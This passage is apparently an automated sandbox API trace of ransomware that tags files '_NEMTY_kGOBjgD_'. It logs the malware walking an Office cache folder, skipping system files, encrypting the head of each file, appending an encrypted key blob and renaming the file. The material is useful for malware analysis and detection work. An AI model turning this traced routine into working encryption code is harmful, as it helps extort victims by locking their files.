lpString2="boot.ini") returned 1 [0047.328] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="AUTOEXEC.BAT") returned 1 [0047.328] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="ntuser.dat") returned 1 [0047.328] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="desktop.ini") returned 1 [0047.328] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="CONFIG.SYS") returned 1 [0047.328] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="RECYCLER") returned -1 [0047.328] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="BOOTSECT.BAK") returned 1 [0047.328] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="bootmgr") returned 1 [0047.328] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="programdata") returned -1 [0047.328] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="appdata") returned 1 [0047.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlkLR.cab", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0047.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlkLR.cab", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OutlkLR.cab", lpUsedDefaultChar=0x0) returned 11 [0047.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlkLR.cab", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0047.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlkLR.cab", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OutlkLR.cab", lpUsedDefaultChar=0x0) returned 11 [0047.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlkLR.cab", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0047.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlkLR.cab", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OutlkLR.cab", lpUsedDefaultChar=0x0) returned 11 [0047.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlkLR.cab", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0047.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlkLR.cab", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OutlkLR.cab", lpUsedDefaultChar=0x0) returned 11 [0047.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94230 [0047.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.329] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0047.329] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2=".") returned 1 [0047.329] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="..") returned 1 [0047.329] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="...") returned 1 [0047.329] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="windows") returned -1 [0047.329] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="$RECYCLE.BIN") returned 1 [0047.329] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="rsa") returned -1 [0047.329] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="NTDETECT.COM") returned 1 [0047.329] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="ntldr") returned 1 [0047.329] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="MSDOS.SYS") returned 1 [0047.329] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="IO.SYS") returned 1 [0047.329] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="boot.ini") returned 1 [0047.329] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="boot.ini") returned 1 [0047.329] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="AUTOEXEC.BAT") returned 1 [0047.329] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="ntuser.dat") returned 1 [0047.329] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="desktop.ini") returned 1 [0047.329] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="CONFIG.SYS") returned 1 [0047.330] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="RECYCLER") returned -1 [0047.330] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="BOOTSECT.BAK") returned 1 [0047.330] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="bootmgr") returned 1 [0047.330] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="programdata") returned -1 [0047.330] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="appdata") returned 1 [0047.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlookMUI.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0047.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlookMUI.msi", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OutlookMUI.msi", lpUsedDefaultChar=0x0) returned 14 [0047.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlookMUI.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0047.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlookMUI.msi", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OutlookMUI.msi", lpUsedDefaultChar=0x0) returned 14 [0047.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlookMUI.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0047.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlookMUI.msi", cchWideChar=14, lpMultiByteStr=0x653f2a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OutlookMUI.msi", lpUsedDefaultChar=0x0) returned 14 [0047.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlookMUI.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0047.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlookMUI.msi", cchWideChar=14, lpMultiByteStr=0x653f2d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OutlookMUI.msi", lpUsedDefaultChar=0x0) returned 14 [0047.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0047.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94230 | out: hHeap=0x4f90000) returned 1 [0047.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0047.330] Sleep (dwMilliseconds=0x5) [0047.344] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcfebfa10, dwHighDateTime=0x1d561e7)) [0047.344] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcfebfa10, dwHighDateTime=0x1d561e7)) [0047.344] GetLastError () returned 0xb7 [0047.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.344] GetLastError () returned 0xb7 [0047.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.344] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0047.344] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0047.344] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0047.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0047.344] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="EkqBtiE9RCfmqIxC/gGJJqSOvQB6Im0W6urk3Nq8lhF6Il39QZGraA/rUfKayXEz\r\n5DDKCbDbBe7BTwsafuGydiMCyvr2as8PzyQKsi6OBXWrbUOU8/gnk5DUPN73HQz9\r\nTgltD90HXlylaCbIr3vVpDbqpgaVUr6TFBYf1C6egurc+oEYJaW7yQcYsQlpZlBC\r\n2DotGnWGd/oWxo6Aj5YwJfvGtQhwUojgdNloXJXZeK5izYFNWN3v/XvVe+q8DKR9\r\n8NQ+jXjx2OseARuqfcMT9PXSK1JQtLO6KYm/2WCrwofkU2OAe55oTgsgyDVUQlTW\r\nR+HBzJsgerpPzM1Q78cmQQ==\r\n", pcchString=0x653ef9c) returned 1 [0047.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0047.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0047.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0047.345] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.345] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=2865664) returned 1 [0047.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0047.345] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.345] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0047.354] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.354] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0047.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.354] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=2865664, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2bba00 [0047.354] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0047.356] CloseHandle (hObject=0x3c8) returned 1 [0047.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0047.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0047.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0047.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.421] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi._nemty_kgobjgd_")) returned 1 [0047.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0047.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0047.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0047.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0047.422] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0047.422] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2=".") returned 1 [0047.422] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="..") returned 1 [0047.422] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="...") returned 1 [0047.422] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="windows") returned -1 [0047.422] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="$RECYCLE.BIN") returned 1 [0047.422] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="rsa") returned -1 [0047.422] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="NTDETECT.COM") returned 1 [0047.422] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="ntldr") returned 1 [0047.423] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="MSDOS.SYS") returned 1 [0047.423] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="IO.SYS") returned 1 [0047.423] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="boot.ini") returned 1 [0047.423] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="boot.ini") returned 1 [0047.423] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="AUTOEXEC.BAT") returned 1 [0047.423] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="ntuser.dat") returned 1 [0047.423] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="desktop.ini") returned 1 [0047.423] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="CONFIG.SYS") returned 1 [0047.423] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="RECYCLER") returned -1 [0047.423] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="BOOTSECT.BAK") returned 1 [0047.423] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="bootmgr") returned 1 [0047.423] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="programdata") returned -1 [0047.423] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="appdata") returned 1 [0047.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlookMUI.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0047.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlookMUI.xml", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OutlookMUI.xml", lpUsedDefaultChar=0x0) returned 14 [0047.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlookMUI.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0047.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlookMUI.xml", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OutlookMUI.xml", lpUsedDefaultChar=0x0) returned 14 [0047.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlookMUI.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0047.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlookMUI.xml", cchWideChar=14, lpMultiByteStr=0x653f2a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OutlookMUI.xml", lpUsedDefaultChar=0x0) returned 14 [0047.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlookMUI.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0047.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OutlookMUI.xml", cchWideChar=14, lpMultiByteStr=0x653f2d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OutlookMUI.xml", lpUsedDefaultChar=0x0) returned 14 [0047.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0047.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0047.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0047.424] Sleep (dwMilliseconds=0x5) [0047.437] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcffa4250, dwHighDateTime=0x1d561e7)) [0047.437] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcffa4250, dwHighDateTime=0x1d561e7)) [0047.437] GetLastError () returned 0x0 [0047.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.438] GetLastError () returned 0x0 [0047.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.438] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0047.438] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0047.438] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0047.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0047.438] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="fsid60d+zRoRq0a5vnhrBJjQndMUkjTnYr6t/cTW3eSgjcqkOMTnlJf+Drx6vGu6\r\nXSQwaDSRCYBKNKM7IoWuKKZ7Kb/2bc7VWHK4ilMcuZ+lUWEGtx9zhcLFseTtfy3s\r\no51yYVSDMf1v9bfARPImYGuT194V/RYgDhErSovrKeIcJC0f34jtXBsnRgnwORhZ\r\nYpJHLigacBRW6kiDzjgXtCDnfb0o698DHvR+jGG/ScsQueBNkZ4bsrB/7+O7xQ1u\r\nJ7bkylHU4FtC5sO8beUbp36etdhGVODRgc6w/5j4bYMS/S/RgUWfo4LY6yo8Lkgp\r\nCn1kuNcoLy+M4us/bWxKzA==\r\n", pcchString=0x653ef9c) returned 1 [0047.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) 